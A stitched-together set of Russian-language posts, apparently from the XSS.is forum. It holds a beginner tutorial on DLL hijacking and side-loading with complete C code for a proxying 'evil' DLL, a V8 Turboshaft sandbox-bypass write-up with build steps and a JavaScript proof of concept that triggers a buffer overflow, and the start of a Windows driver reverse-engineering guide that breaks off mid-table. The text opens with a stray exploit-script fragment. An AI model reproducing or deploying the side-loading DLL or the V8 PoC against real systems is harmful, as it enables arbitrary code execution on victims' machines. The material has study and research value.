def main():
try:
do_exploit()
except Exception as e:
logger.error("An error occurred: %s" % str(e))
raise
if __name__ == "__main__":
main()
Автор: shqnx
Специально для XSS.is
Вступление
Всем привет, дорогие читатели! В данной статье мы поговорим про DLL Hijacking и DLL Side-Loading и рассмотрим эти техники атак на практическом примере. Статья в первую очередь посвящается новичкам, тут будет довольно простое и разжёванное объяснение всего и вся. Пора приступать.
Теоретическая часть
Начать я хотел бы с небольшого рассказа про DLL Hijacking.
И так, что же такое DLL Hijacking? DLL Hijacking - это техника атаки, при которой задача атакующего сводится к тому, чтобы разместить вредоносный DLL -файл в определённом месте, которое является более приоритетным для поиска DLL -файлов в Windows. Тем самым заставить выполнить вредоносный DLL -файл вместо легитимного. Сейчас всё объясню.
В Windows при запуске программы есть определённая очередь из тех мест, в
которых будут искаться необходимые для этой программы DLL -файлы. Первый -
самый приоритетный, последний - наименее приоритетный. Ничего сложного.
Выглядит очередь примерно так:
1. Проверка. Не загружена ли на данный момент необходимая DLL в памяти?
2. Известные DLL
(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\KnownDLLs)
3. Каталог, в котором находится программа
4. _C:\Windows\System32_
5. _C:\Windows\System_
6. _C:\Windows_
7. Рабочий каталог
8. Каталоги в переменной среды PATH
Теперь рассмотрим поэтапно, как именно это работает и в чём суть:
1. Определяется уязвимая программа, которая загружает DLL -файл из
определенного места;
2. Атакующий размещает в более приоритетном из очереди для поиска месте
вредоносный DLL -файл с тем же именем, что и легитимный;
3. Когда программа загружает DLL -файл, она загружает уже не легитимный
файл, а вредоносный;
4. Успех.
Думаю с этим разобрались. Теперь перейдём к DLL Side-Loading.
И так, что же такое DLL Side-Loading? DLL Side-Loading - это техника атаки, при которой задача атакующего сводится к тому, чтобы заменить легитимный DLL -файл на вредоносный, что позволит ему выполнить произвольный код на целевой системе. На данном этапе уже должны отпасть вопросы, почему я обозвал эти две техники братьями. Цель везде одна - манипулировать загружаемыми программой DLL -файлами. Поэтому удобнее всего рассказать о них двух в одной статье.
Практическая часть
И так, настал черёд перейти к практической части. Хотелось бы сказать о том, что практическую часть я буду показывать именно для техники DLL Side- Loading. Основная причина заключается в том, что для вас главным будет научиться работать с программой-жертвой, находить необходимую информацию для создания своего вредоностного DLL -файла и непосредственно правильно создавать его. Для обоих методов этой информации уже будет достаточно на 99%. И я просто не вижу смысла дублировать, грубо говоря, один и тот же код два раза. Для начала я создам легитимный DLL -файл и подопытную программу, загружающую этот самый DLL -файл. Затем мы создадим вредоносный DLL -файл и проверим, что у нас получилось. Поехали:
C:Copy to clipboard
#include <windows.h>
__declspec(dllexport) void Pause()
{
system("pause");
}
__declspec(dllexport) int Sum(int a, int b)
{
return a + b;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
return TRUE;
}
И так, это код DLL , которая впоследствии будет загружаться программой- жертвой. Он максимально прост. Но для нас главное не это, а то, что в нём присутствуют функции экспорта, как и во встречающихся в живой природе примерах. В данном случае это функция для нахождения суммы двух целых чисел и возвращающая результат, а также функция, которая останавливает выполнение программы с помощью системной команды pause. Нам нужно будет научиться находить функции экспорта и работать с ними в дальнейшем. Но об этом позднее. Сейчас создадим саму программу-жертву, которая будет загружать полученный только что DLL -файл:
C:Copy to clipboard
#include <windows.h>
#include <stdio.h>
typedef int (*Sum)(int, int);
typedef void (*Pause)();
int main() {
HINSTANCE hExampleLib = LoadLibrary(L"examplelib.dll");
if (hExampleLib == NULL) {
return EXIT_FAILURE;
}
Pause exPause = (Pause)GetProcAddress(hExampleLib, "Pause");
if (exPause == NULL) {
FreeLibrary(hExampleLib);
return EXIT_FAILURE;
}
exPause();
Sum exSum = (Sum)GetProcAddress(hExampleLib, "Sum");
if (exSum == NULL) {
FreeLibrary(hExampleLib);
return EXIT_FAILURE;
}
int sumRes = exSum(5, 3);
printf("Sum: %i\n", sumRes);
FreeLibrary(hExampleLib);
return EXIT_SUCCESS;
}
И так, вот и она. Я специально создаю свои экземпляры, чтобы в них была исключительно нужная информация касаемо данной техники и для новичков это всё легче усваивалось. В общем, что тут происходит? Происходит стандартная загрузка DLL (в нашем случае она называется examplelib.dll). Мы объявляем новые типы (Sum и Pause), которые являются указателями на соответствующие функции. В функции main происходит загрузка библиотеки в адресное пространство текущего процесса при помощи LoadLibrary из Windows API. В случае успешной загрузки, мы получаем хэндл нашей DLL. Иначе программа завершает выполнение с кодом ошибки. Далее получаем адрес нашей экспортированной функции Pause из загруженной DLL. Если не удаётся это сделать, вызывается FreeLibrary для выгрузки DLL из памяти и программа завершает выполнение с кодом ошибки. Вызываем функцию функцию Pause через указатель exPause , полученный на предыдущем шаге. Аналогичные действия проводим и для экспортированной функции Sum. Наконец, выводим результат суммы, выгружаем DLL из памяти и завершаем программу.
И так, перемещаем полученный examplelib.dll к исполняемому файлу нашей
программы example.exe для тестов и смотрим, всё ли работает:
Поиск необходимых данных
Всё окей, мы получили рабочий экземпляр, с которым теперь будем работать.
Представим, что мы ничего не знаем об example.exe. Каким образом мы можем
это исправить? Правильно, с помощью соответствующих инструментов для анализа и
мониторинга. А если быть точнее, то с помощью API Monitor и Process
Monitor. Для начала открываем API Monitor (чувствительна к архитектуре,
поэтому убедитесь, что вы открыли версию, соответствующую архитектуре
программы-жертвы). Важно указать модули, для которых мы хотим отслеживать
вызовы API. Поскольку в исходной программе мы используем Windows API ,
выберем Kernel32.dll :
Далее ставим галочку напротив System Services > Dynamic-Link Libraries, как
показано на скриншоте:
Выбираем нашу программу-жертву example.exe в соседнем окне Monitored
Processes :
И нажимаем OK :
И так, мы можем видеть вызовы API в нашей программе:
Здесь отображается всё, что нам необходимо, а именно: вызов функции LoadLibrary , которая загружает легитимную библиотеку examplelib.dll , вызов функции GetProcAddress для двух экспортируемых функций - Pause и Sum , а также для выгрузки DLL из памяти по завершению выполнения программы. Двигаемся дальше.
Лучший способ определить, есть ли у вас возможность выполнить DLL Side-
Loading - сделать это при помощи программы Process Monitor. Открываем её.
Для удобства нам нужно создать определённый фильтр. Для этого тыкаем на значок
фильтра или нажимаем сочитание клавиш Ctrl+L :
В появившемся окне нам необходимо выставить следующие параметры и нажать Add
:
И так, я еще раз запущу example.exe , дабы в Process Monitor появилась
информация о запущенном процессе. Что мы конкретно должны найти для проверки,
возможен ли сайдлоадинг - так это операции с DLL , для которых результатом
является NAME NOT FOUND , вот пример:
Сейчас я перемещу examplelib.dll в другое место, например, в _C:\Windows_ и
еще раз запущу example.exe. В Process Monitor мы увидим следующее:
Это говорит нам о том, что у нас есть возможность выполнить данную атаку. На данном скриншоте также прослеживается информация, по которой виден порядок поиска нашей DLL. О чём я и расписывал в начале статьи про DLL Hijacking. И так, возможность для проведения атаки найдена. Давайте приступать к созданию "злой" DLL.
**Создаём нашу "злую" DLL. Проксирование функций.**
И так, сначала код, потом объяснение. Приступаем:
C:Copy to clipboard
#include <windows.h>
#pragma comment(linker, "/export:Pause=_examplelib.Pause,@1")
#pragma comment(linker, "/export:Sum=_examplelib.Sum,@2")
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "Evil DllMain", "XSS.is", MB_OK);
}
return TRUE;
}
Для того, чтобы example.exe не крашнулась, необходимо либо реплицировать функционал исходных функций экспорта, либо проксировать их. В данном случае показано именно проксирование. Мы объявляем директивы линковщика, которые используются для управления экспортом функций из легитимной DLL , которая в данном случае должна называться _examplelib.dll. Также мы указываем порядковые номера функций в легитимном DLL при помощи @номер. Откуда взять порядковые номера функций? В этом нам поможет dumpbin. Открываем командную строку разработчика и пишем следующую команду:
dumpbin /EXPORTS C:\Windows\examplelib.dll
Click to expand...
Можем посмотреть на вывод данной команды и увидеть в ней порядковые номера
функций:
И так, как это вообще работает? Мы экспортируем функции из легитимного DLL
-файла, при этом получаем возможность добавить свой вредоносный функционал в
DllMain. В данном случае это просто вывод месседж бокса, однако там может
быть всё что угодно. Для проверки нам нужно поместить переименованный в
_examplelib.dll легитимный DLL -файл, наш перемеименованный в
examplelib.dll "злой" DLL -файл и запустить example.exe. Смотрим, что
получилось:
Выполняется DllMain нашего поддельного examplelib.dll , появляется месседж
бокс. После его закрытия example.exe продолжает свою работу как ни в чём не
бывало и потом завершает своё выполнение:
Всё отработало корректно.
**Создаём нашу "злую" DLL. Репликация функций.**
Теперь давайте рассмотрим пример с репликацией функционала исходных функций экспорта. Пишем "злую" DLL :
C:Copy to clipboard
#include <windows.h>
#pragma comment(linker, "/export:Sum=_examplelib.Sum,@2")
__declspec(dllexport) void Pause()
{
MessageBoxA(NULL, "Evil Pause", "XSS.is", MB_OK);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
return TRUE;
}
В данном случае мы реплицируем только функцию Pause , а функцию Sum мы по
прежнему проксируем. Суть в том, чтобы заменить функционал легитимной функции
Pause. Думаю тут опять понятно, что вместо месседж бокса, который я
использую для примера, может быть всё, что душе угодно. Проверяем результат:
Как мы видим, сначала выполняется наша злобная репликация функции Pause. То
есть выводится месседж бокс вместо системной паузы. Затем, как ни в чём не
бывало, выполняется функция Sum и программа завершает своё выполнение:
Заключение
Всех благодарю за внимание. Я постарался сделать материал максимально полезным и максимально приятным в чтении для новичков. Желаю всем успехов!
Ученье — свет, а неученье — тьма.
[PHDays 2023] 0-day-эксплойты рансомварщиков (Windows OS)
youtu.be/qcfIBkBt58k?t=20236
Данный V8 sbx bypass является первым, который может напрямую быть стриггерин
из JS.
До фикса в функции CreateOperation(Turboshaft) происходило неправильное
вычисление количества входных аргументов для операции CallOp/некорректного
размера буфера(неправильное вычисление input_count). Это приводило к выделению
недостаточного количества памяти, что, в свою очередь, вызывало BoF.
C++:Copy to clipboard
template <typename Op, typename... Args>
Op* CreateOperation(base::SmallVector<OperationStorageSlot, 32>& storage,
Args... args) {
size_t size = Operation::StorageSlotCount(
Op::opcode, (0 + ... + detail::input_count(args)));
storage.resize_no_init(size);
return new (storage.data()) Op(args...);
}
Путем создания JS-функи с точным количеством аргументов движок Turboshaft
генерирует CallOp с слишком большим буфером(CallOp ожидает фиксированный
размер буфера на основе количества аргументов, но из-за неправильного
вычисления он обращается к памяти за пределами выделенного буфера), что
вызывает BoF/V8 sbx bypass.
Фикс:
https://chromium-review.googlesource.com/c/v8/v8/+/5400799
Триггерится довольно просто:
Bash:Copy to clipboard
$ cd ~
$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
$ export PATH=~/depot_tools:$PATH
$ mkdir v8
$ cd v8
$ fetch v8
$ cd v8
$ git checkout 661f05587fae383d0a269360a9e792e8671be4fd
$ gclient sync -D
$ ./build/install-build-deps.sh
$ gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true"
$ gn gen out/release --args="v8_no_inline=true is_debug=false v8_expose_memory_corruption_api=true"
$ ninja -C out/debug d8; ninja -C out/release d8
$ ./d8 --allow-natives-syntax PoC.js
JavaScript:Copy to clipboard
function g() {}
function f() {
// Нам нужен CallOp размером 516 байт. Сам CallOp занимает 24 байта. Таким образом,
// нам нужно 516-24=492 байта для входных данных, с 4 байтами на один вход, это составляет
// 492/4 = 123 входных данных.
// JS вызовы в Turboshaft всегда имеют 6 дополнительных входных данных (target, frame
// state, context, количество аргументов...), поэтому мы пишем JS вызов со 117 входными данными, чтобы достичь
// 123 входных данных, чтобы достичь 516 байт, необходимых для CallOp.
g(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28,
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56,
57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70,
71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84,
85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98,
99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112,
113, 114, 115, 116, 117);
}
% PrepareFunctionForOptimization(f);
f();
% OptimizeFunctionOnNextCall(f);
f();
issues.chromium.org
ДИСКЛЕЙМЕР!
Это черновая версия путеводителя, которая будет изменяться и дополняться с
учетом замечаний и пожеланий. Путеводитель рассчитан на непоследовательное
чтение, поэтому каждый может добавить собственную точку маршрута по какой-либо
актуальной проблеме, связанной с драйверами, ядром ОС Windows или добавить
что-то к уже существующим. Возможно кому-то это упростит жизнь.
(c) varwar
Содержание
Введение
Чего в этом путеводителе вы не увидете?
Точки маршрута
1. Отправная точка
2. DriverEntry
3. Отлавливаем загрузку драйвера
4. Как узнать назначение аргумента в неизвестной функции?
5. Наиболее популярные возвращаемые коды NTSTATUS
6. Определяем неизвестныые флаги
7. Магия
8. В каком виде могут быть представлены ioctl?
9. Как фильтруются недоверенные указатели?
10. Как определить код, обрабатывающий пользовательские данные?
11. Код для x86 в 64-битных драйверах
12. Для чего нужны встроенные библиотеки типов и как их применять?
13. Ошибки декомпилятора
14. Как документировать базу?
15. Как отлаживать драйверы без .pdb?
Нерешенные проблемы
Заключение
Полезные ссылки
Введение
Почему путеводитель? Путь и водитель на английском звучит как "path" и
"driver". Эта игра слов семантически подходит для нижеизложенного текста.
Мы будем посещать как самые людные и популярные места, так и закоулки драйвера
по нашему путеводителю, исследуя различные точки маршрута, которые я, как ваш
гид наметил. Надеюсь, что со временем их будет появляться больше. Цель этого
путеводителя заключается в том, чтобы вы тратили меньше времени на анализ,
научились замечать паттерны и освоили нечто большее, чем F5
. Где-то
наоборот, вам нужно будет потратить чуточку больше времени на
документирование, комментирование ваших мыслей и находок. Также это попытка
собрать в одном месте методы и решения распространенных проблем. Так для кого
же предназначен этот путеводитель? Для любого, кому интересно устройство ОС
Windows - разработчикам читов, багхантерам, исследователям, разработчикам
эксплойтов, разработчикам защитных решений, школьникам, студентам и всем
неравнодушным.
Spoiler: Примечание #1
В этом путеводителе я коснусь только архитектуры драйверов WDM.
Как и любому туристу в пути нам потребуются инструменты, владение которыми будет определять степень нашего комфорта. Без дизассемблера/декомпилятора и ядерного отладчика исследование драйверов невозможно. Это необходимый минимум с которым мы пройдем путь от начала до конца путеводителя. Я рекомендую использовать IDA Pro 7.7+ и WinDbg, хотя предоставленная информация по большей части не будет привязана к инструментам как таковым. И все же почему IDA? В IDA 7.5 появилась функция создания директорий, которую я считаю недооцененной. Директории позволяют структурировать драйвер по его функциональности и держать его образ в голове более осмысленным. Также другому человеку будет проще сориентироваться в вашей базе, если она документирована надлежащим образом, особенно если этот другой человек вы сами через какое-то время. Кроме этого для IDA предустановлены богатые библиотеки типов на основе Windows Driver Kit, которые также будут активно использоваться для улучшения вывода декомпилятора. В конце концов для IDA существует большое количество полезных расширений, без некоторых я уже не представляю своей жизни. То же можно сказать и про WinDbg.
Чего в этом путеводителе вы не увидете?
Здесь вас не научат писать эксплойты, драйвера и искать уязвимости. По моему скромному мнению написание ядерных эксплойтов сейчас зачастую требует индивидуального подхода к проблеме, про написание драйверов уже написано много литературы, есть документация, WDK (Windows Driver Kit) и репозиторий с большим количеством примеров драйверов на любой вкус и цвет. Тем не менее то, что будет описано в путеводителе вы будете использовать с большой долей вероятности повседневно независимо от вашей узкой специализации на протяжении лет.
Точки маршрута
Описанные приемы представлены точками, они независимы и представляют из себя решение той или иной проблемы с которой столкнется каждый, кто будет исследовать драйвера или ядро.
1. Отправная точка
Здесь пойдет речь о подготовке. Было бы безрассудно начинать исследовать драйвера ничего про них не зная. Про написание драйверов существует множество материалов, я бы выделил книги "Programming the Microsoft Windows Driver Model" и "Windows Kernel Programming". Эти две книги должны стать настольными* на случай, если что-то в коде будет непонятно, а информации на MSDN покажется недостаточно.
Spoiler: Примечание #2
Под настольными я подразумеваю электронные версиии книг т.к. искать по "Ctrl + F" проще, чем листать макулатуру
Исходные коды Windows XP SP1 (x64)/Windows Server 2003 (x64) являются настоящим подарком с точки зрения приватной информации об ОС. Данные исходники прекрасно документированы, структурированы и по сей день актуальны. Хочу отметить, что я не призываю использовать исключительно эти источники. Если вам удалось решить проблему без них - хорошо, но если вы застряли и не знаете где еще искать - вспомните про них. Поверьте, вы удивитесь, когда после реверса какого-либо модуля потом обнаружите его в исходных кодах Windows. Директории, которые представляют наибольший интерес при знакомстве с устройством Windows:
2. DriverEntry
Допустим, вы нашли какой-то интересующий драйвер и открыли его в IDA. Даже
если вы начали с исследования уязвимой функции после разбора патча, вероятнее
всего придется начать с функции DriverEntry
по той причине, что в
DriverEntry
описывается ioctl-обработчик для взаимодействия с юзеромодными
компонентами. Этот тот случай, когда драйвер не является системной
библиотекой*.
Spoiler: Примечание #3
В системной библиотеке функция DriverEntry просто возвращает 0 (STATUS_SUCCESS), а в таблице экспорта есть функция DllInitialize.
C:Copy to clipboard
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT *DriverObject, PUNICODE_STRING RegistryPath)
{
return 0; // STATUS_SUCCESS
}
3. Отлавливаем загрузку драйвера
Случается так, что необходимо поставить брейкопоинт на какой-нибудь функции в драйвере для патчинга в рантайме. Например, когда вы исследуете состояние памяти, пытаетесь определить типы недокументированных функций и их аргументов или же пытаетесь стригеррить баг в коде. Не каждый драйвер находится загруженным в памяти, поэтому мы не сможем просто поставить брейкпоинт. К счастью, WinDbg поддерживает исключения. Буквально одной короткой командой мы устанавливаем исключение на загрузку нужного нам драйвера.
Code:Copy to clipboard
sxe ld <driver.sys>
Просмотреть все виды исключений, а также установленные исключения мы можем
командой sx
.
Обратите внимание на строчку ld
.
Spoiler: Вывод команды sx
2: kd> sx
ct - Create thread - ignore
et - Exit thread - ignore
cpr - Create process - output
epr - Exit process - break
ld - Load module - break
(only break for ntfs.sys)
ud - Unload module - ignore
ser - System error - ignore
ibp - Initial breakpoint - break
iml - Initial module load - break
out - Debuggee output - output
av - Access violation - break - not handled
asrt - Assertion failure - break - not handled
aph - Application hang - break - not handled
bpe - Break instruction exception - break
bpec - Break instruction exception continue - handled
eh - C++ EH exception - second-chance break - not handled
clr - CLR exception - second-chance break - not handled
clrn - CLR notification exception - second-chance break - handled
cce - Control-Break exception - break
cc - Control-Break exception continue - handled
cce - Control-C exception - break
cc - Control-C exception continue - handled
dm - Data misaligned - break - not handled
dbce - Debugger command exception - ignore - handled
gp - Guard page violation - break - not handled
ii - Illegal instruction - second-chance break - not handled
ip - In-page I/O error - break - not handled
dz - Integer divide-by-zero - break - not handled
iov - Integer overflow - break - not handled
ch - Invalid handle - break
hc - Invalid handle continue - not handled
lsq - Invalid lock sequence - break - not handled
isc - Invalid system call - break - not handled
3c - Port disconnected - second-chance break - not handled
svh - Service hang - break - not handled
sse - Single step exception - break
ssec - Single step exception continue - handled
sbo - Security check failure or stack buffer overrun - break - not handled
sov - Stack overflow - break - not handled
vs - Verifier stop - break - not handled
vcpp - Visual C++ exception - ignore - handled
wkd - Wake debugger - break - not handled
rto - Windows Runtime Originate Error - second-chance break - not handled
rtt - Windows Runtime Transform Error - second-chance break - not handled
wob - WOW64 breakpoint - break - handled
wos - WOW64 single step exception - break - handled
Убрать исключение можно командой sxd ld <driver.sys>
.
После перезагрузки виртуальной машины мы с большой долей вероятности отловим
загрузку драйвера без стороннего вмешательства в работу системы. Стек вызовов
должен выглядеть следующим образом:
Code:Copy to clipboard
2: kd> k4
# Child-SP RetAddr Call Site
00 ffffe282`6a47d038 fffff805`39f39a55 nt!DebugService2+0x5
01 ffffe282`6a47d040 fffff805`39f3982f nt!DbgLoadImageSymbols+0x45
02 ffffe282`6a47d090 fffff805`3a38ac5b nt!DbgLoadImageSymbolsUnicode+0x33
03 ffffe282`6a47d0d0 fffff805`3a388857 nt!MiDriverLoadSucceeded+0x19b
На примере ниже перечислены загруженные модули в момент срабатывания
брейкпоинта. Для примера я установил исключение для драйвера mskssrv.sys
.
Пока что символы для него не загружены и мы не можем установить брейкпоинт на
какую-либо функцию в этом драйвере. Мы должны явно подгрузить символьную
информацию.
Code:Copy to clipboard
2: kd> lm
start end module name
ffffe6cf`02120000 ffffe6cf`021ca000 win32k # (pdb symbols) d:\symbols\win32k.pdb\17469094424A3FB2929E97EC00A99F531\win32k.pdb
ffffe6cf`02200000 ffffe6cf`025aa000 win32kfull (deferred)
...
fffff805`55230000 fffff805`55242000 MSKSSRV (deferred)
Чтобы загрузить символы для нужного драйвера выполняем команду ld
.
Code:Copy to clipboard
2: kd> ld mskssrv
Symbols loaded for MSKSSRV
Теперь мы можем поставить брейкпоинт на любую функцию драйвера, например на
DriverEntry
и продолжить исполнение.
Code:Copy to clipboard
2: kd> bp mskssrv!DriverEntry
2: kd> g
Breakpoint 0 hit
MSKSSRV!DriverEntry:
fffff805`5523e078 4053 push rbx
Не всегда удается отловить загрузку драйвера таким образом, порой нужно совершить в системе какое-либо действие для триггера драйвера - прибавить громкость, открыть файловый менеджер, разлогиниться и т.д. Иногда можно догадаться какое действие требуется совершить исходя из функциональности драйвера. Данный метод будет работать исключительно для тех драйверов, у которых есть символьная информация.
4. Как узнать назначение аргумента в неизвестной функции?
Данную проблему можно отнести к основным проблемам при разборе любого приложения. Зачастую я пользуюсь следующими методами:
При анализе функций в обратном порядке мы анализируем ВЫЗЫВАЮЩУЮ функцию,
поднимаясь на один уровень выше. Вызывающая функция может бытьдокументирована
или иметь символьную информацию, которая будет
проецироваться на недокументированную функцию. Давайте разберем на живом
примере*.
Spoiler: Примечание #4
Для этого примера я взял функцию не из драйвера, но из ядра Windows, т.к. он в себе сочетает разные подходы к решению одной проблемы и заставляет немного напрячься.
C:Copy to clipboard
unsigned __int64 __fastcall AlpcpProbeAndCaptureMessageHeader(unsigned __int64 a1, __int64 a2, int a3)
{
unsigned __int64 result; // rax
__m128i v4; // xmm1
unsigned __int64 v5; // xmm0_8
__int16 v6; // ax
result = 0x7FFFFFFF0000i64;
if ( (a3 & 0xC0000000) == 0x80000000 )
{
if ( a1 < 0x7FFFFFFF0000i64 ) // MmUserProbeAddress check
result = a1;
v4 = *(__m128i *)result;
v5 = *(_QWORD *)(result + 0x10);
v6 = _mm_cvtsi128_si32(*(__m128i *)result);
*(_WORD *)a2 = v6;
*(_WORD *)(a2 + 2) = v6 + 0x28;
*(_DWORD *)(a2 + 4) = v4.m128i_i32[1];
*(_QWORD *)(a2 + 8) = (unsigned int)_mm_cvtsi128_si32(_mm_srli_si128(v4, 8));
*(_QWORD *)(a2 + 0x10) = HIDWORD(_mm_srli_si128(v4, 8).m128i_u64[0]);
result = (unsigned int)v5;
*(_QWORD *)(a2 + 0x20) = HIDWORD(v5);
*(_DWORD *)(a2 + 0x20) = HIDWORD(v5);
*(_DWORD *)(a2 + 0x18) = v5;
}
else
{
if ( a1 < 0x7FFFFFFF0000i64 )
result = a1;
*(_OWORD *)a2 = *(_OWORD *)result;
*(_OWORD *)(a2 + 0x10) = *(_OWORD *)(result + 0x10);
*(_QWORD *)(a2 + 0x20) = *(_QWORD *)(result + 0x20);
}
return result;
}
Пока вывод декомпилятора выглядет крайне неприглядно, но с первых строчек
можно сразу сказать, что первый аргумент - это указатель пользовательского
режима, возвращаемое значение соответственно тоже указатель.
0x7FFFFFFF0000
- это значение глобальной переменной MmUserProbeAddress
, с
которой происходит сравнение.
Подробнее будет расказано в теме валидации указателей и определении
пользовательских данных. Назначение второго аргумента пока неясно, выглядит
как структура, которая инициализируется. Третий аргумент похож на флаг в
котором проверяется наличие/отсутствие 31 бита.
C:Copy to clipboard
if ( (a3 & 0xC0000000) == 0x80000000 )
Пока это лишь гипотеза.
Python:Copy to clipboard
In [6]: bin(0x80000000)
Out[6]: '0b10000000000000000000000000000000'
In [7]: bin(0xC0000000)
Out[7]: '0b11000000000000000000000000000000'
Но есть куда более ценная подсказка. В драйверах и ядре Windows функции,
которые содержат слова "Capture" и "Probe" просто фильтруют входящие
пользовательские данные и как правило содержат в аргументах два буфера
одинакового типа - входящий и исходящий, который по сути является локальной
копией первого. Теперь начнем подниматься вверх, откроем xrefs
, нажав X
на
имени функции.
Скажу сразу, что функции NtAlpcOpenSenderThread
и NtAlpcOpenSenderProcess
довольно быстро приведут нас к ответу, но я все же покажу на более сложном
примере, потому что с таким вы тоже будете сталкиваться. Для этого примера
выберем AlpcpProcessConnectionRequest
.
C:Copy to clipboard
if ( a3 )
{
AlpcpProbeForWriteMessageHeader(a3, a2);
AlpcpProbeAndCaptureMessageHeader(a3, &v38, a2);
}
Здесь мы видим, что два аргумента, которые передаются в интересующую нас
функцию являются также аргументами функции AlpcpProcessConnectionRequest
.
Второй аргумент &v38
- это адрес стековой переменной. Для наглядности
соотнесем имеющуюся информацию.
Повторяем процедуру.
Мы можем в процессе анализировать код функций и строить новые гипотезы,
используя второй метод. Пока мы продолжаем подниматься наверх в надежде, что
это приведет нас куда-нибудь. И действительно, на четвертой функции мы
попадаем в системный вызов NtAlpcConnectPort
, который содержит интересующие
нас аргументы.
На этом наша змейка не заканчивается. Проблема в том, что в .pdb
нет
прототипов функций для подсистемы ALPC
. В отличие от других системных
вызовов этот недокументирован... т.е. официально.
Если мы загуглим в поиске этот сискол, то найдем прототипы функций и типы для
ALPC
в системной утилите Process Hacker. Назначаем все типы вручную для
NtAlpcConnectPort
и продолжаем змейку в обратную сторону.
C:Copy to clipboard
_PORT_MESSAGE *__fastcall AlpcpProbeAndCaptureMessageHeader(
_PORT_MESSAGE *InPortMessage,
_PORT_MESSAGE *OutPortMessage,
int Flags)
{
_PORT_MESSAGE *CapturedMessageHeader; // rax
__m128i v4; // xmm1
unsigned __int64 UniqueThread; // xmm0_8
__int16 DataLength; // ax
CapturedMessageHeader = (_PORT_MESSAGE *)0x7FFFFFFF0000i64;
if ( (Flags & 0xC0000000) == 0x80000000 )
{
if ( (unsigned __int64)InPortMessage < 0x7FFFFFFF0000i64 )
CapturedMessageHeader = InPortMessage;
v4 = *(__m128i *)&CapturedMessageHeader->u1.s1.DataLength;
UniqueThread = (unsigned __int64)CapturedMessageHeader->ClientId.UniqueThread;
DataLength = _mm_cvtsi128_si32(*(__m128i *)&CapturedMessageHeader->u1.s1.DataLength);
OutPortMessage->u1.s1.DataLength = DataLength;
OutPortMessage->u1.s1.TotalLength = DataLength + 0x28;
OutPortMessage->u2.ZeroInit = v4.m128i_u32[1];
OutPortMessage->ClientId.UniqueProcess = (void *)(unsigned int)_mm_cvtsi128_si32(_mm_srli_si128(v4, 8));
OutPortMessage->ClientId.UniqueThread = (void *)HIDWORD(_mm_srli_si128(v4, 8).m128i_u64[0]);
CapturedMessageHeader = (_PORT_MESSAGE *)(unsigned int)UniqueThread;
OutPortMessage->ClientViewSize = HIDWORD(UniqueThread);
OutPortMessage->CallbackId = HIDWORD(UniqueThread);
OutPortMessage->MessageId = UniqueThread;
}
else
{
if ( (unsigned __int64)InPortMessage < 0x7FFFFFFF0000i64 )
CapturedMessageHeader = InPortMessage;
*OutPortMessage = *CapturedMessageHeader;
}
return CapturedMessageHeader;
}
Теперь наш код выглядит чуточку информативнее.
При анализе функции в контексте мы пытаемся идентифицировать аргументы,
опираясь на контекст функции. Что это значит? Возьмем, к примеру, функцию
NtAlpcOpenSenderProcess
. Ядро и драйвера Windows часто взаимодействуют со
встроенными объектами, идентифицируя которые мы можем улучшить читаемость кода
как в дизассемблере, так и в декомпиляторе. Порой код сильно преображается,
стоит лишь указать верный тип данных объекта. Ниже представлен паттерн.
C:Copy to clipboard
// ...Skip
Object = 0i64;
v11 = ObReferenceObjectByHandle(a2, 0x20000u, AlpcPortObjectType, PreviousMode, &Object, 0i64);
// ...Skip
v11 = AlpcpLookupMessage(Object, DWORD2(v27), v28, v12, &BugCheckParameter2);
// ...Skip
IDA определила тип аргумента Object
как PVOID, но так ли это? И да, и нет.
Это действительно указатель, но указатель на объект, который описывается
структурой, какая это именно структура зависит от того какой тип объекта мы
запрашиваем у функции ObReferenceObjectByHandle
. Третий аргумент в
ObReferenceObjectByHandle говорит нам о типе объекта - это порт ALPC. Какая
структура соответствует этому объекту? Мы можем попытаться догадаться.
Открываем в IDA загруженные типы из .pdb
нажатием Shift+F1
, начинаем
вводить в строку поиска "ALPC". К слову, все системные структуры в Windows
начинаются с нижнего подчеркивания.
Кажется то, что нужно. Теперь мы можем явно указать тип в прототипе функции
AlpcpLookupMessage
как _ALPC_PORT*
вместо PVOID
. Весь список объектов
можно посмотреть утилитой WinObjEx.
Таким образом мы просто находим перекрестные ссылки аргумента внутри
исследуемой функции и пытаемся использовать имеющуюся информацию вызываемых
функций по отношению к нашей. Найти все вхождения какой-либо переменной в IDA
можно таким же нажатием X
.
Самое очевидное в таких случаях - найти в перекрестных ссылках какую-нибудь документированную функцию с известными типами.
Spoiler: Примечание #5
IDA зачастую такую информацию о типах обрабатывает рекурсивно, но не всегда.
Все, что мы делали выше - мы делали в статике. Если есть сомнения, то мы
пользуемся третьим методом - отладчиком. Ставим брейкпоинт на нужной функции и
проверяем аргументы встроенными командами !object
или !handle
, потому что
нередко первым аргументом ставится указатель на объект или описатель.
Четвертвый метод является базовым.
5. Наиболее популярные возвращаемые коды NTSTATUS
В ядре и драйверах Windows, вероятно большинство функций возвращают NTSTATUS.
В декомпиляторе "магические числа", обозначающие статус ошибки вы можете
идентифицировать как 32-битное число, начинающееся с 0xCXXXXXXX
. Вы можете
встретить следующие паттерны.
C:Copy to clipboard
// Паттерн 1
v13 = 0xC000009A;
return v13;
// Паттерн 2
return 0xC0000022
В таблицу я вынес наиболее распространенные коды NTSTATUS.
Code:Copy to clipboard
|Код |Hex |
